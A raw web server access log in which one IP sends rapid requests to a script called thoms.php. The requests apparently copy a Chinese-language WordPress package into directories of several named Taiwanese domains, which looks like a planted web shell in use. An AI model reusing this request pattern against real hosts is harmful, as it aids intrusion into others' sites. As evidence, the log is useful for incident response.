45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 200 11321 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17521 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13839 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 200 11437 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13837 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 200 11376 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17701 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17701 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17551 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17559 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 200 12053 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 200 13430 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:10 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 200 14159 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 200 13266 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 200 13618 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 200 28863 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?p=bodbooks.com.tw%2F.well-known HTTP/1.1" 200 12597 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 200 59449 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:11 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17607 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17606 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13276 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?p=bossini.com.tw%2F.well-known HTTP/1.1" 200 12581 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13734 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 12050 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 200 13417 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14340 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17376 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:13 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade HTTP/1.1" 200 13781 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
